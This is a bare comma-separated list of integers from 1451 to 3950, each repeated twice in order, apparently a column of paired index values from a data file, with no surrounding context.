1451,1451,1452,1452,1453,1453,1454,1454,1455,1455,1456,1456,1457,1457,1458,1458,1459,1459,1460,1460,1461,1461,1462,1462,1463,1463,1464,1464,1465,1465,1466,1466,1467,1467,1468,1468,1469,1469,1470,1470,1471,1471,1472,1472,1473,1473,1474,1474,1475,1475,1476,1476,1477,1477,1478,1478,1479,1479,1480,1480,1481,1481,1482,1482,1483,1483,1484,1484,1485,1485,1486,1486,1487,1487,1488,1488,1489,1489,1490,1490,1491,1491,1492,1492,1493,1493,1494,1494,1495,1495,1496,1496,1497,1497,1498,1498,1499,1499,1500,1500,1501,1501,1502,1502,1503,1503,1504,1504,1505,1505,1506,1506,1507,1507,1508,1508,1509,1509,1510,1510,1511,1511,1512,1512,1513,1513,1514,1514,1515,1515,1516,1516,1517,1517,1518,1518,1519,1519,1520,1520,1521,1521,1522,1522,1523,1523,1524,1524,1525,1525,1526,1526,1527,1527,1528,1528,1529,1529,1530,1530,1531,1531,1532,1532,1533,1533,1534,1534,1535,1535,1536,1536,1537,1537,1538,1538,1539,1539,1540,1540,1541,1541,1542,1542,1543,1543,1544,1544,1545,1545,1546,1546,1547,1547,1548,1548,1549,1549,1550,1550,1551,1551,1552,1552,1553,1553,1554,1554,1555,1555,1556,1556,1557,1557,1558,1558,1559,1559,1560,1560,1561,1561,1562,1562,1563,1563,1564,1564,1565,1565,1566,1566,1567,1567,1568,1568,1569,1569,1570,1570,1571,1571,1572,1572,1573,1573,1574,1574,1575,1575,1576,1576,1577,1577,1578,1578,1579,1579,1580,1580,1581,1581,1582,1582,1583,1583,1584,1584,1585,1585,1586,1586,1587,1587,1588,1588,1589,1589,1590,1590,1591,1591,1592,1592,1593,1593,1594,1594,1595,1595,1596,1596,1597,1597,1598,1598,1599,1599,1600,1600,1601,1601,1602,1602,1603,1603,1604,1604,1605,1605,1606,1606,1607,1607,1608,1608,1609,1609,1610,1610,1611,1611,1612,1612,1613,1613,1614,1614,1615,1615,1616,1616,1617,1617,1618,1618,1619,1619,1620,1620,1621,1621,1622,1622,1623,1623,1624,1624,1625,1625,1626,1626,1627,1627,1628,1628,1629,1629,1630,1630,1631,1631,1632,1632,1633,1633,1634,1634,1635,1635,1636,1636,1637,1637,1638,1638,1639,1639,1640,1640,1641,1641,1642,1642,1643,1643,1644,1644,1645,1645,1646,1646,1647,1647,1648,1648,1649,1649,1650,1650,1651,1651,1652,1652,1653,1653,1654,1654,1655,1655,1656,1656,1657,1657,1658,1658,1659,1659,1660,1660,1661,1661,1662,1662,1663,1663,1664,1664,1665,1665,1666,1666,1667,1667,1668,1668,1669,1669,1670,1670,1671,1671,1672,1672,1673,1673,1674,1674,1675,1675,1676,1676,1677,1677,1678,1678,1679,1679,1680,1680,1681,1681,1682,1682,1683,1683,1684,1684,1685,1685,1686,1686,1687,1687,1688,1688,1689,1689,1690,1690,1691,1691,1692,1692,1693,1693,1694,1694,1695,1695,1696,1696,1697,1697,1698,1698,1699,1699,1700,1700,1701,1701,1702,1702,1703,1703,1704,1704,1705,1705,1706,1706,1707,1707,1708,1708,1709,1709,1710,1710,1711,1711,1712,1712,1713,1713,1714,1714,1715,1715,1716,1716,1717,1717,1718,1718,1719,1719,1720,1720,1721,1721,1722,1722,1723,1723,1724,1724,1725,1725,1726,1726,1727,1727,1728,1728,1729,1729,1730,1730,1731,1731,1732,1732,1733,1733,1734,1734,1735,1735,1736,1736,1737,1737,1738,1738,1739,1739,1740,1740,1741,1741,1742,1742,1743,1743,1744,1744,1745,1745,1746,1746,1747,1747,1748,1748,1749,1749,1750,1750,1751,1751,1752,1752,1753,1753,1754,1754,1755,1755,1756,1756,1757,1757,1758,1758,1759,1759,1760,1760,1761,1761,1762,1762,1763,1763,1764,1764,1765,1765,1766,1766,1767,1767,1768,1768,1769,1769,1770,1770,1771,1771,1772,1772,1773,1773,1774,1774,1775,1775,1776,1776,1777,1777,1778,1778,1779,1779,1780,1780,1781,1781,1782,1782,1783,1783,1784,1784,1785,1785,1786,1786,1787,1787,1788,1788,1789,1789,1790,1790,1791,1791,1792,1792,1793,1793,1794,1794,1795,1795,1796,1796,1797,1797,1798,1798,1799,1799,1800,1800,1801,1801,1802,1802,1803,1803,1804,1804,1805,1805,1806,1806,1807,1807,1808,1808,1809,1809,1810,1810,1811,1811,1812,1812,1813,1813,1814,1814,1815,1815,1816,1816,1817,1817,1818,1818,1819,1819,1820,1820,1821,1821,1822,1822,1823,1823,1824,1824,1825,1825,1826,1826,1827,1827,1828,1828,1829,1829,1830,1830,1831,1831,1832,1832,1833,1833,1834,1834,1835,1835,1836,1836,1837,1837,1838,1838,1839,1839,1840,1840,1841,1841,1842,1842,1843,1843,1844,1844,1845,1845,1846,1846,1847,1847,1848,1848,1849,1849,1850,1850,1851,1851,1852,1852,1853,1853,1854,1854,1855,1855,1856,1856,1857,1857,1858,1858,1859,1859,1860,1860,1861,1861,1862,1862,1863,1863,1864,1864,1865,1865,1866,1866,1867,1867,1868,1868,1869,1869,1870,1870,1871,1871,1872,1872,1873,1873,1874,1874,1875,1875,1876,1876,1877,1877,1878,1878,1879,1879,1880,1880,1881,1881,1882,1882,1883,1883,1884,1884,1885,1885,1886,1886,1887,1887,1888,1888,1889,1889,1890,1890,1891,1891,1892,1892,1893,1893,1894,1894,1895,1895,1896,1896,1897,1897,1898,1898,1899,1899,1900,1900,1901,1901,1902,1902,1903,1903,1904,1904,1905,1905,1906,1906,1907,1907,1908,1908,1909,1909,1910,1910,1911,1911,1912,1912,1913,1913,1914,1914,1915,1915,1916,1916,1917,1917,1918,1918,1919,1919,1920,1920,1921,1921,1922,1922,1923,1923,1924,1924,1925,1925,1926,1926,1927,1927,1928,1928,1929,1929,1930,1930,1931,1931,1932,1932,1933,1933,1934,1934,1935,1935,1936,1936,1937,1937,1938,1938,1939,1939,1940,1940,1941,1941,1942,1942,1943,1943,1944,1944,1945,1945,1946,1946,1947,1947,1948,1948,1949,1949,1950,1950,1951,1951,1952,1952,1953,1953,1954,1954,1955,1955,1956,1956,1957,1957,1958,1958,1959,1959,1960,1960,1961,1961,1962,1962,1963,1963,1964,1964,1965,1965,1966,1966,1967,1967,1968,1968,1969,1969,1970,1970,1971,1971,1972,1972,1973,1973,1974,1974,1975,1975,1976,1976,1977,1977,1978,1978,1979,1979,1980,1980,1981,1981,1982,1982,1983,1983,1984,1984,1985,1985,1986,1986,1987,1987,1988,1988,1989,1989,1990,1990,1991,1991,1992,1992,1993,1993,1994,1994,1995,1995,1996,1996,1997,1997,1998,1998,1999,1999,2000,2000,2001,2001,2002,2002,2003,2003,2004,2004,2005,2005,2006,2006,2007,2007,2008,2008,2009,2009,2010,2010,2011,2011,2012,2012,2013,2013,2014,2014,2015,2015,2016,2016,2017,2017,2018,2018,2019,2019,2020,2020,2021,2021,2022,2022,2023,2023,2024,2024,2025,2025,2026,2026,2027,2027,2028,2028,2029,2029,2030,2030,2031,2031,2032,2032,2033,2033,2034,2034,2035,2035,2036,2036,2037,2037,2038,2038,2039,2039,2040,2040,2041,2041,2042,2042,2043,2043,2044,2044,2045,2045,2046,2046,2047,2047,2048,2048,2049,2049,2050,2050,2051,2051,2052,2052,2053,2053,2054,2054,2055,2055,2056,2056,2057,2057,2058,2058,2059,2059,2060,2060,2061,2061,2062,2062,2063,2063,2064,2064,2065,2065,2066,2066,2067,2067,2068,2068,2069,2069,2070,2070,2071,2071,2072,2072,2073,2073,2074,2074,2075,2075,2076,2076,2077,2077,2078,2078,2079,2079,2080,2080,2081,2081,2082,2082,2083,2083,2084,2084,2085,2085,2086,2086,2087,2087,2088,2088,2089,2089,2090,2090,2091,2091,2092,2092,2093,2093,2094,2094,2095,2095,2096,2096,2097,2097,2098,2098,2099,2099,2100,2100,2101,2101,2102,2102,2103,2103,2104,2104,2105,2105,2106,2106,2107,2107,2108,2108,2109,2109,2110,2110,2111,2111,2112,2112,2113,2113,2114,2114,2115,2115,2116,2116,2117,2117,2118,2118,2119,2119,2120,2120,2121,2121,2122,2122,2123,2123,2124,2124,2125,2125,2126,2126,2127,2127,2128,2128,2129,2129,2130,2130,2131,2131,2132,2132,2133,2133,2134,2134,2135,2135,2136,2136,2137,2137,2138,2138,2139,2139,2140,2140,2141,2141,2142,2142,2143,2143,2144,2144,2145,2145,2146,2146,2147,2147,2148,2148,2149,2149,2150,2150,2151,2151,2152,2152,2153,2153,2154,2154,2155,2155,2156,2156,2157,2157,2158,2158,2159,2159,2160,2160,2161,2161,2162,2162,2163,2163,2164,2164,2165,2165,2166,2166,2167,2167,2168,2168,2169,2169,2170,2170,2171,2171,2172,2172,2173,2173,2174,2174,2175,2175,2176,2176,2177,2177,2178,2178,2179,2179,2180,2180,2181,2181,2182,2182,2183,2183,2184,2184,2185,2185,2186,2186,2187,2187,2188,2188,2189,2189,2190,2190,2191,2191,2192,2192,2193,2193,2194,2194,2195,2195,2196,2196,2197,2197,2198,2198,2199,2199,2200,2200,2201,2201,2202,2202,2203,2203,2204,2204,2205,2205,2206,2206,2207,2207,2208,2208,2209,2209,2210,2210,2211,2211,2212,2212,2213,2213,2214,2214,2215,2215,2216,2216,2217,2217,2218,2218,2219,2219,2220,2220,2221,2221,2222,2222,2223,2223,2224,2224,2225,2225,2226,2226,2227,2227,2228,2228,2229,2229,2230,2230,2231,2231,2232,2232,2233,2233,2234,2234,2235,2235,2236,2236,2237,2237,2238,2238,2239,2239,2240,2240,2241,2241,2242,2242,2243,2243,2244,2244,2245,2245,2246,2246,2247,2247,2248,2248,2249,2249,2250,2250,2251,2251,2252,2252,2253,2253,2254,2254,2255,2255,2256,2256,2257,2257,2258,2258,2259,2259,2260,2260,2261,2261,2262,2262,2263,2263,2264,2264,2265,2265,2266,2266,2267,2267,2268,2268,2269,2269,2270,2270,2271,2271,2272,2272,2273,2273,2274,2274,2275,2275,2276,2276,2277,2277,2278,2278,2279,2279,2280,2280,2281,2281,2282,2282,2283,2283,2284,2284,2285,2285,2286,2286,2287,2287,2288,2288,2289,2289,2290,2290,2291,2291,2292,2292,2293,2293,2294,2294,2295,2295,2296,2296,2297,2297,2298,2298,2299,2299,2300,2300,2301,2301,2302,2302,2303,2303,2304,2304,2305,2305,2306,2306,2307,2307,2308,2308,2309,2309,2310,2310,2311,2311,2312,2312,2313,2313,2314,2314,2315,2315,2316,2316,2317,2317,2318,2318,2319,2319,2320,2320,2321,2321,2322,2322,2323,2323,2324,2324,2325,2325,2326,2326,2327,2327,2328,2328,2329,2329,2330,2330,2331,2331,2332,2332,2333,2333,2334,2334,2335,2335,2336,2336,2337,2337,2338,2338,2339,2339,2340,2340,2341,2341,2342,2342,2343,2343,2344,2344,2345,2345,2346,2346,2347,2347,2348,2348,2349,2349,2350,2350,2351,2351,2352,2352,2353,2353,2354,2354,2355,2355,2356,2356,2357,2357,2358,2358,2359,2359,2360,2360,2361,2361,2362,2362,2363,2363,2364,2364,2365,2365,2366,2366,2367,2367,2368,2368,2369,2369,2370,2370,2371,2371,2372,2372,2373,2373,2374,2374,2375,2375,2376,2376,2377,2377,2378,2378,2379,2379,2380,2380,2381,2381,2382,2382,2383,2383,2384,2384,2385,2385,2386,2386,2387,2387,2388,2388,2389,2389,2390,2390,2391,2391,2392,2392,2393,2393,2394,2394,2395,2395,2396,2396,2397,2397,2398,2398,2399,2399,2400,2400,2401,2401,2402,2402,2403,2403,2404,2404,2405,2405,2406,2406,2407,2407,2408,2408,2409,2409,2410,2410,2411,2411,2412,2412,2413,2413,2414,2414,2415,2415,2416,2416,2417,2417,2418,2418,2419,2419,2420,2420,2421,2421,2422,2422,2423,2423,2424,2424,2425,2425,2426,2426,2427,2427,2428,2428,2429,2429,2430,2430,2431,2431,2432,2432,2433,2433,2434,2434,2435,2435,2436,2436,2437,2437,2438,2438,2439,2439,2440,2440,2441,2441,2442,2442,2443,2443,2444,2444,2445,2445,2446,2446,2447,2447,2448,2448,2449,2449,2450,2450,2451,2451,2452,2452,2453,2453,2454,2454,2455,2455,2456,2456,2457,2457,2458,2458,2459,2459,2460,2460,2461,2461,2462,2462,2463,2463,2464,2464,2465,2465,2466,2466,2467,2467,2468,2468,2469,2469,2470,2470,2471,2471,2472,2472,2473,2473,2474,2474,2475,2475,2476,2476,2477,2477,2478,2478,2479,2479,2480,2480,2481,2481,2482,2482,2483,2483,2484,2484,2485,2485,2486,2486,2487,2487,2488,2488,2489,2489,2490,2490,2491,2491,2492,2492,2493,2493,2494,2494,2495,2495,2496,2496,2497,2497,2498,2498,2499,2499,2500,2500,2501,2501,2502,2502,2503,2503,2504,2504,2505,2505,2506,2506,2507,2507,2508,2508,2509,2509,2510,2510,2511,2511,2512,2512,2513,2513,2514,2514,2515,2515,2516,2516,2517,2517,2518,2518,2519,2519,2520,2520,2521,2521,2522,2522,2523,2523,2524,2524,2525,2525,2526,2526,2527,2527,2528,2528,2529,2529,2530,2530,2531,2531,2532,2532,2533,2533,2534,2534,2535,2535,2536,2536,2537,2537,2538,2538,2539,2539,2540,2540,2541,2541,2542,2542,2543,2543,2544,2544,2545,2545,2546,2546,2547,2547,2548,2548,2549,2549,2550,2550,2551,2551,2552,2552,2553,2553,2554,2554,2555,2555,2556,2556,2557,2557,2558,2558,2559,2559,2560,2560,2561,2561,2562,2562,2563,2563,2564,2564,2565,2565,2566,2566,2567,2567,2568,2568,2569,2569,2570,2570,2571,2571,2572,2572,2573,2573,2574,2574,2575,2575,2576,2576,2577,2577,2578,2578,2579,2579,2580,2580,2581,2581,2582,2582,2583,2583,2584,2584,2585,2585,2586,2586,2587,2587,2588,2588,2589,2589,2590,2590,2591,2591,2592,2592,2593,2593,2594,2594,2595,2595,2596,2596,2597,2597,2598,2598,2599,2599,2600,2600,2601,2601,2602,2602,2603,2603,2604,2604,2605,2605,2606,2606,2607,2607,2608,2608,2609,2609,2610,2610,2611,2611,2612,2612,2613,2613,2614,2614,2615,2615,2616,2616,2617,2617,2618,2618,2619,2619,2620,2620,2621,2621,2622,2622,2623,2623,2624,2624,2625,2625,2626,2626,2627,2627,2628,2628,2629,2629,2630,2630,2631,2631,2632,2632,2633,2633,2634,2634,2635,2635,2636,2636,2637,2637,2638,2638,2639,2639,2640,2640,2641,2641,2642,2642,2643,2643,2644,2644,2645,2645,2646,2646,2647,2647,2648,2648,2649,2649,2650,2650,2651,2651,2652,2652,2653,2653,2654,2654,2655,2655,2656,2656,2657,2657,2658,2658,2659,2659,2660,2660,2661,2661,2662,2662,2663,2663,2664,2664,2665,2665,2666,2666,2667,2667,2668,2668,2669,2669,2670,2670,2671,2671,2672,2672,2673,2673,2674,2674,2675,2675,2676,2676,2677,2677,2678,2678,2679,2679,2680,2680,2681,2681,2682,2682,2683,2683,2684,2684,2685,2685,2686,2686,2687,2687,2688,2688,2689,2689,2690,2690,2691,2691,2692,2692,2693,2693,2694,2694,2695,2695,2696,2696,2697,2697,2698,2698,2699,2699,2700,2700,2701,2701,2702,2702,2703,2703,2704,2704,2705,2705,2706,2706,2707,2707,2708,2708,2709,2709,2710,2710,2711,2711,2712,2712,2713,2713,2714,2714,2715,2715,2716,2716,2717,2717,2718,2718,2719,2719,2720,2720,2721,2721,2722,2722,2723,2723,2724,2724,2725,2725,2726,2726,2727,2727,2728,2728,2729,2729,2730,2730,2731,2731,2732,2732,2733,2733,2734,2734,2735,2735,2736,2736,2737,2737,2738,2738,2739,2739,2740,2740,2741,2741,2742,2742,2743,2743,2744,2744,2745,2745,2746,2746,2747,2747,2748,2748,2749,2749,2750,2750,2751,2751,2752,2752,2753,2753,2754,2754,2755,2755,2756,2756,2757,2757,2758,2758,2759,2759,2760,2760,2761,2761,2762,2762,2763,2763,2764,2764,2765,2765,2766,2766,2767,2767,2768,2768,2769,2769,2770,2770,2771,2771,2772,2772,2773,2773,2774,2774,2775,2775,2776,2776,2777,2777,2778,2778,2779,2779,2780,2780,2781,2781,2782,2782,2783,2783,2784,2784,2785,2785,2786,2786,2787,2787,2788,2788,2789,2789,2790,2790,2791,2791,2792,2792,2793,2793,2794,2794,2795,2795,2796,2796,2797,2797,2798,2798,2799,2799,2800,2800,2801,2801,2802,2802,2803,2803,2804,2804,2805,2805,2806,2806,2807,2807,2808,2808,2809,2809,2810,2810,2811,2811,2812,2812,2813,2813,2814,2814,2815,2815,2816,2816,2817,2817,2818,2818,2819,2819,2820,2820,2821,2821,2822,2822,2823,2823,2824,2824,2825,2825,2826,2826,2827,2827,2828,2828,2829,2829,2830,2830,2831,2831,2832,2832,2833,2833,2834,2834,2835,2835,2836,2836,2837,2837,2838,2838,2839,2839,2840,2840,2841,2841,2842,2842,2843,2843,2844,2844,2845,2845,2846,2846,2847,2847,2848,2848,2849,2849,2850,2850,2851,2851,2852,2852,2853,2853,2854,2854,2855,2855,2856,2856,2857,2857,2858,2858,2859,2859,2860,2860,2861,2861,2862,2862,2863,2863,2864,2864,2865,2865,2866,2866,2867,2867,2868,2868,2869,2869,2870,2870,2871,2871,2872,2872,2873,2873,2874,2874,2875,2875,2876,2876,2877,2877,2878,2878,2879,2879,2880,2880,2881,2881,2882,2882,2883,2883,2884,2884,2885,2885,2886,2886,2887,2887,2888,2888,2889,2889,2890,2890,2891,2891,2892,2892,2893,2893,2894,2894,2895,2895,2896,2896,2897,2897,2898,2898,2899,2899,2900,2900,2901,2901,2902,2902,2903,2903,2904,2904,2905,2905,2906,2906,2907,2907,2908,2908,2909,2909,2910,2910,2911,2911,2912,2912,2913,2913,2914,2914,2915,2915,2916,2916,2917,2917,2918,2918,2919,2919,2920,2920,2921,2921,2922,2922,2923,2923,2924,2924,2925,2925,2926,2926,2927,2927,2928,2928,2929,2929,2930,2930,2931,2931,2932,2932,2933,2933,2934,2934,2935,2935,2936,2936,2937,2937,2938,2938,2939,2939,2940,2940,2941,2941,2942,2942,2943,2943,2944,2944,2945,2945,2946,2946,2947,2947,2948,2948,2949,2949,2950,2950,2951,2951,2952,2952,2953,2953,2954,2954,2955,2955,2956,2956,2957,2957,2958,2958,2959,2959,2960,2960,2961,2961,2962,2962,2963,2963,2964,2964,2965,2965,2966,2966,2967,2967,2968,2968,2969,2969,2970,2970,2971,2971,2972,2972,2973,2973,2974,2974,2975,2975,2976,2976,2977,2977,2978,2978,2979,2979,2980,2980,2981,2981,2982,2982,2983,2983,2984,2984,2985,2985,2986,2986,2987,2987,2988,2988,2989,2989,2990,2990,2991,2991,2992,2992,2993,2993,2994,2994,2995,2995,2996,2996,2997,2997,2998,2998,2999,2999,3000,3000,3001,3001,3002,3002,3003,3003,3004,3004,3005,3005,3006,3006,3007,3007,3008,3008,3009,3009,3010,3010,3011,3011,3012,3012,3013,3013,3014,3014,3015,3015,3016,3016,3017,3017,3018,3018,3019,3019,3020,3020,3021,3021,3022,3022,3023,3023,3024,3024,3025,3025,3026,3026,3027,3027,3028,3028,3029,3029,3030,3030,3031,3031,3032,3032,3033,3033,3034,3034,3035,3035,3036,3036,3037,3037,3038,3038,3039,3039,3040,3040,3041,3041,3042,3042,3043,3043,3044,3044,3045,3045,3046,3046,3047,3047,3048,3048,3049,3049,3050,3050,3051,3051,3052,3052,3053,3053,3054,3054,3055,3055,3056,3056,3057,3057,3058,3058,3059,3059,3060,3060,3061,3061,3062,3062,3063,3063,3064,3064,3065,3065,3066,3066,3067,3067,3068,3068,3069,3069,3070,3070,3071,3071,3072,3072,3073,3073,3074,3074,3075,3075,3076,3076,3077,3077,3078,3078,3079,3079,3080,3080,3081,3081,3082,3082,3083,3083,3084,3084,3085,3085,3086,3086,3087,3087,3088,3088,3089,3089,3090,3090,3091,3091,3092,3092,3093,3093,3094,3094,3095,3095,3096,3096,3097,3097,3098,3098,3099,3099,3100,3100,3101,3101,3102,3102,3103,3103,3104,3104,3105,3105,3106,3106,3107,3107,3108,3108,3109,3109,3110,3110,3111,3111,3112,3112,3113,3113,3114,3114,3115,3115,3116,3116,3117,3117,3118,3118,3119,3119,3120,3120,3121,3121,3122,3122,3123,3123,3124,3124,3125,3125,3126,3126,3127,3127,3128,3128,3129,3129,3130,3130,3131,3131,3132,3132,3133,3133,3134,3134,3135,3135,3136,3136,3137,3137,3138,3138,3139,3139,3140,3140,3141,3141,3142,3142,3143,3143,3144,3144,3145,3145,3146,3146,3147,3147,3148,3148,3149,3149,3150,3150,3151,3151,3152,3152,3153,3153,3154,3154,3155,3155,3156,3156,3157,3157,3158,3158,3159,3159,3160,3160,3161,3161,3162,3162,3163,3163,3164,3164,3165,3165,3166,3166,3167,3167,3168,3168,3169,3169,3170,3170,3171,3171,3172,3172,3173,3173,3174,3174,3175,3175,3176,3176,3177,3177,3178,3178,3179,3179,3180,3180,3181,3181,3182,3182,3183,3183,3184,3184,3185,3185,3186,3186,3187,3187,3188,3188,3189,3189,3190,3190,3191,3191,3192,3192,3193,3193,3194,3194,3195,3195,3196,3196,3197,3197,3198,3198,3199,3199,3200,3200,3201,3201,3202,3202,3203,3203,3204,3204,3205,3205,3206,3206,3207,3207,3208,3208,3209,3209,3210,3210,3211,3211,3212,3212,3213,3213,3214,3214,3215,3215,3216,3216,3217,3217,3218,3218,3219,3219,3220,3220,3221,3221,3222,3222,3223,3223,3224,3224,3225,3225,3226,3226,3227,3227,3228,3228,3229,3229,3230,3230,3231,3231,3232,3232,3233,3233,3234,3234,3235,3235,3236,3236,3237,3237,3238,3238,3239,3239,3240,3240,3241,3241,3242,3242,3243,3243,3244,3244,3245,3245,3246,3246,3247,3247,3248,3248,3249,3249,3250,3250,3251,3251,3252,3252,3253,3253,3254,3254,3255,3255,3256,3256,3257,3257,3258,3258,3259,3259,3260,3260,3261,3261,3262,3262,3263,3263,3264,3264,3265,3265,3266,3266,3267,3267,3268,3268,3269,3269,3270,3270,3271,3271,3272,3272,3273,3273,3274,3274,3275,3275,3276,3276,3277,3277,3278,3278,3279,3279,3280,3280,3281,3281,3282,3282,3283,3283,3284,3284,3285,3285,3286,3286,3287,3287,3288,3288,3289,3289,3290,3290,3291,3291,3292,3292,3293,3293,3294,3294,3295,3295,3296,3296,3297,3297,3298,3298,3299,3299,3300,3300,3301,3301,3302,3302,3303,3303,3304,3304,3305,3305,3306,3306,3307,3307,3308,3308,3309,3309,3310,3310,3311,3311,3312,3312,3313,3313,3314,3314,3315,3315,3316,3316,3317,3317,3318,3318,3319,3319,3320,3320,3321,3321,3322,3322,3323,3323,3324,3324,3325,3325,3326,3326,3327,3327,3328,3328,3329,3329,3330,3330,3331,3331,3332,3332,3333,3333,3334,3334,3335,3335,3336,3336,3337,3337,3338,3338,3339,3339,3340,3340,3341,3341,3342,3342,3343,3343,3344,3344,3345,3345,3346,3346,3347,3347,3348,3348,3349,3349,3350,3350,3351,3351,3352,3352,3353,3353,3354,3354,3355,3355,3356,3356,3357,3357,3358,3358,3359,3359,3360,3360,3361,3361,3362,3362,3363,3363,3364,3364,3365,3365,3366,3366,3367,3367,3368,3368,3369,3369,3370,3370,3371,3371,3372,3372,3373,3373,3374,3374,3375,3375,3376,3376,3377,3377,3378,3378,3379,3379,3380,3380,3381,3381,3382,3382,3383,3383,3384,3384,3385,3385,3386,3386,3387,3387,3388,3388,3389,3389,3390,3390,3391,3391,3392,3392,3393,3393,3394,3394,3395,3395,3396,3396,3397,3397,3398,3398,3399,3399,3400,3400,3401,3401,3402,3402,3403,3403,3404,3404,3405,3405,3406,3406,3407,3407,3408,3408,3409,3409,3410,3410,3411,3411,3412,3412,3413,3413,3414,3414,3415,3415,3416,3416,3417,3417,3418,3418,3419,3419,3420,3420,3421,3421,3422,3422,3423,3423,3424,3424,3425,3425,3426,3426,3427,3427,3428,3428,3429,3429,3430,3430,3431,3431,3432,3432,3433,3433,3434,3434,3435,3435,3436,3436,3437,3437,3438,3438,3439,3439,3440,3440,3441,3441,3442,3442,3443,3443,3444,3444,3445,3445,3446,3446,3447,3447,3448,3448,3449,3449,3450,3450,3451,3451,3452,3452,3453,3453,3454,3454,3455,3455,3456,3456,3457,3457,3458,3458,3459,3459,3460,3460,3461,3461,3462,3462,3463,3463,3464,3464,3465,3465,3466,3466,3467,3467,3468,3468,3469,3469,3470,3470,3471,3471,3472,3472,3473,3473,3474,3474,3475,3475,3476,3476,3477,3477,3478,3478,3479,3479,3480,3480,3481,3481,3482,3482,3483,3483,3484,3484,3485,3485,3486,3486,3487,3487,3488,3488,3489,3489,3490,3490,3491,3491,3492,3492,3493,3493,3494,3494,3495,3495,3496,3496,3497,3497,3498,3498,3499,3499,3500,3500,3501,3501,3502,3502,3503,3503,3504,3504,3505,3505,3506,3506,3507,3507,3508,3508,3509,3509,3510,3510,3511,3511,3512,3512,3513,3513,3514,3514,3515,3515,3516,3516,3517,3517,3518,3518,3519,3519,3520,3520,3521,3521,3522,3522,3523,3523,3524,3524,3525,3525,3526,3526,3527,3527,3528,3528,3529,3529,3530,3530,3531,3531,3532,3532,3533,3533,3534,3534,3535,3535,3536,3536,3537,3537,3538,3538,3539,3539,3540,3540,3541,3541,3542,3542,3543,3543,3544,3544,3545,3545,3546,3546,3547,3547,3548,3548,3549,3549,3550,3550,3551,3551,3552,3552,3553,3553,3554,3554,3555,3555,3556,3556,3557,3557,3558,3558,3559,3559,3560,3560,3561,3561,3562,3562,3563,3563,3564,3564,3565,3565,3566,3566,3567,3567,3568,3568,3569,3569,3570,3570,3571,3571,3572,3572,3573,3573,3574,3574,3575,3575,3576,3576,3577,3577,3578,3578,3579,3579,3580,3580,3581,3581,3582,3582,3583,3583,3584,3584,3585,3585,3586,3586,3587,3587,3588,3588,3589,3589,3590,3590,3591,3591,3592,3592,3593,3593,3594,3594,3595,3595,3596,3596,3597,3597,3598,3598,3599,3599,3600,3600,3601,3601,3602,3602,3603,3603,3604,3604,3605,3605,3606,3606,3607,3607,3608,3608,3609,3609,3610,3610,3611,3611,3612,3612,3613,3613,3614,3614,3615,3615,3616,3616,3617,3617,3618,3618,3619,3619,3620,3620,3621,3621,3622,3622,3623,3623,3624,3624,3625,3625,3626,3626,3627,3627,3628,3628,3629,3629,3630,3630,3631,3631,3632,3632,3633,3633,3634,3634,3635,3635,3636,3636,3637,3637,3638,3638,3639,3639,3640,3640,3641,3641,3642,3642,3643,3643,3644,3644,3645,3645,3646,3646,3647,3647,3648,3648,3649,3649,3650,3650,3651,3651,3652,3652,3653,3653,3654,3654,3655,3655,3656,3656,3657,3657,3658,3658,3659,3659,3660,3660,3661,3661,3662,3662,3663,3663,3664,3664,3665,3665,3666,3666,3667,3667,3668,3668,3669,3669,3670,3670,3671,3671,3672,3672,3673,3673,3674,3674,3675,3675,3676,3676,3677,3677,3678,3678,3679,3679,3680,3680,3681,3681,3682,3682,3683,3683,3684,3684,3685,3685,3686,3686,3687,3687,3688,3688,3689,3689,3690,3690,3691,3691,3692,3692,3693,3693,3694,3694,3695,3695,3696,3696,3697,3697,3698,3698,3699,3699,3700,3700,3701,3701,3702,3702,3703,3703,3704,3704,3705,3705,3706,3706,3707,3707,3708,3708,3709,3709,3710,3710,3711,3711,3712,3712,3713,3713,3714,3714,3715,3715,3716,3716,3717,3717,3718,3718,3719,3719,3720,3720,3721,3721,3722,3722,3723,3723,3724,3724,3725,3725,3726,3726,3727,3727,3728,3728,3729,3729,3730,3730,3731,3731,3732,3732,3733,3733,3734,3734,3735,3735,3736,3736,3737,3737,3738,3738,3739,3739,3740,3740,3741,3741,3742,3742,3743,3743,3744,3744,3745,3745,3746,3746,3747,3747,3748,3748,3749,3749,3750,3750,3751,3751,3752,3752,3753,3753,3754,3754,3755,3755,3756,3756,3757,3757,3758,3758,3759,3759,3760,3760,3761,3761,3762,3762,3763,3763,3764,3764,3765,3765,3766,3766,3767,3767,3768,3768,3769,3769,3770,3770,3771,3771,3772,3772,3773,3773,3774,3774,3775,3775,3776,3776,3777,3777,3778,3778,3779,3779,3780,3780,3781,3781,3782,3782,3783,3783,3784,3784,3785,3785,3786,3786,3787,3787,3788,3788,3789,3789,3790,3790,3791,3791,3792,3792,3793,3793,3794,3794,3795,3795,3796,3796,3797,3797,3798,3798,3799,3799,3800,3800,3801,3801,3802,3802,3803,3803,3804,3804,3805,3805,3806,3806,3807,3807,3808,3808,3809,3809,3810,3810,3811,3811,3812,3812,3813,3813,3814,3814,3815,3815,3816,3816,3817,3817,3818,3818,3819,3819,3820,3820,3821,3821,3822,3822,3823,3823,3824,3824,3825,3825,3826,3826,3827,3827,3828,3828,3829,3829,3830,3830,3831,3831,3832,3832,3833,3833,3834,3834,3835,3835,3836,3836,3837,3837,3838,3838,3839,3839,3840,3840,3841,3841,3842,3842,3843,3843,3844,3844,3845,3845,3846,3846,3847,3847,3848,3848,3849,3849,3850,3850,3851,3851,3852,3852,3853,3853,3854,3854,3855,3855,3856,3856,3857,3857,3858,3858,3859,3859,3860,3860,3861,3861,3862,3862,3863,3863,3864,3864,3865,3865,3866,3866,3867,3867,3868,3868,3869,3869,3870,3870,3871,3871,3872,3872,3873,3873,3874,3874,3875,3875,3876,3876,3877,3877,3878,3878,3879,3879,3880,3880,3881,3881,3882,3882,3883,3883,3884,3884,3885,3885,3886,3886,3887,3887,3888,3888,3889,3889,3890,3890,3891,3891,3892,3892,3893,3893,3894,3894,3895,3895,3896,3896,3897,3897,3898,3898,3899,3899,3900,3900,3901,3901,3902,3902,3903,3903,3904,3904,3905,3905,3906,3906,3907,3907,3908,3908,3909,3909,3910,3910,3911,3911,3912,3912,3913,3913,3914,3914,3915,3915,3916,3916,3917,3917,3918,3918,3919,3919,3920,3920,3921,3921,3922,3922,3923,3923,3924,3924,3925,3925,3926,3926,3927,3927,3928,3928,3929,3929,3930,3930,3931,3931,3932,3932,3933,3933,3934,3934,3935,3935,3936,3936,3937,3937,3938,3938,3939,3939,3940,3940,3941,3941,3942,3942,3943,3943,3944,3944,3945,3945,3946,3946,3947,3947,3948,3948,3949,3949,3950,3950,